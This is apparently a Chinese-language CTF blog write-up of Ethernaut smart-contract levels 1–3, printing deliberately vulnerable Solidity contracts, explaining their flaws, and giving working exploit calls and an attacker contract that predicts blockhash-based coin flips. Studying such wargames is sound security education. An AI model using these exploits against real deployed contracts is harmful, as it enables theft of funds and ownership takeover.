Ethernaut(1-3)

我,菜

ethernaut上的智能合约的入土题

1
2
地址:
https://ethernaut.openzeppelin.com/level/0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c

level1 Fallback

智能合约苦手死的很安详 :)
下面是题目要求

1
2
3
4
5
6
7
8
You will beat this level if
1.you claim ownership of the contract
2.you reduce its balance to 0
Things that might help
1.How to send ether when interacting with an ABI
2.How to send ether outside of the ABI
3.Converting to and from wei/ether units -see help() command-
4.Fallback methods

题目的代码以及解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {

using SafeMath for uint256;
mapping(address => uint) public contributions;

function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}//初始化函数,将智能合约创建者的值置为1000ETH

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}//给发送者对应数组增加数值(发送来多少eth,必须小于0.001ether),然后比较如果比owner多就变为owner

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}//获取你当前的数值

function withdraw() public onlyOwner {
owner.transfer(this.balance);
}//退回智能合约里所有的余额

function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}//fallback函数,发送来的值大于0,且数组里有值,就改变owner
}

分析一下代码,先调用contribute,往里面存一点钱,然后调用fallback,就可以改变owner,然后withdraw()把钱全退回来就ok

1
2
3
contract.contribute({value:1})//调用contribute(),往里面冲1Wei
contract.sendTransaction({value:1})//往合约打1Wei但不调用方法,直接跳的fallback
contract.withdraw()//取回余额,ok

结束

level2 Fallout

题目要求

1
2
3
Claim ownership of the contract below to complete this level.
Things that might help
Solidity Remix IDE

直接贴题目代码了,懒…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {

using SafeMath for uint256;
mapping (address => uint) allocations;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

这波,这波是星际选手。
我盯了10分钟后,发现这很安全。
直到我把它复制到Remix里,他的初始化函数是Fal1out()而不是Fallout(),所以可以直接调用,直接就是owner。

1
2
contract.Fal1out({value:1})//获得owner
contract.collectAllocations()//1Wei也是钱,不能浪费啊(虽然手续费都比这贵 :P

ok

level3 Coin Flip

1
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

显然,对于赌神ditto而言,连续猜中硬币十次这种事轻轻松松 =D。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

这个是智能合约的老问题,如何产生一个安全的随机数。
他是当调用合约所在的前一个区块hash除去一个数,作为随机数来抛硬币结果。
那如果我们写一个合约去调用这个合约,由于这是一笔交易,所以他的block.blockhash(block.number.sub(1)),在我们写的合约中获取的是同一个(这个合约,在我们自己写的合约调用它的时候一起运行)。
于是,我们只要写一个合约,先算出来结果,再调用他的合约把结果给他就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

contract CoinFlip {
function flip(bool _guess) external returns (bool);
}//相当于声目标智能合约里有啥

contract dittonb {

address public owner;
address public targetaddress;
CoinFlip private A;
uint256 lastHash;
uint count;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function dittonb() public {
owner = msg.sender;
}

function init(address addr) public{
targetaddress = addr;
A = CoinFlip(targetaddress);
}//输入目标合约地址

function attack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
A.flip(side);
}//直接作弊出结果

}

在Remix里去调用attack()10遍就成功了。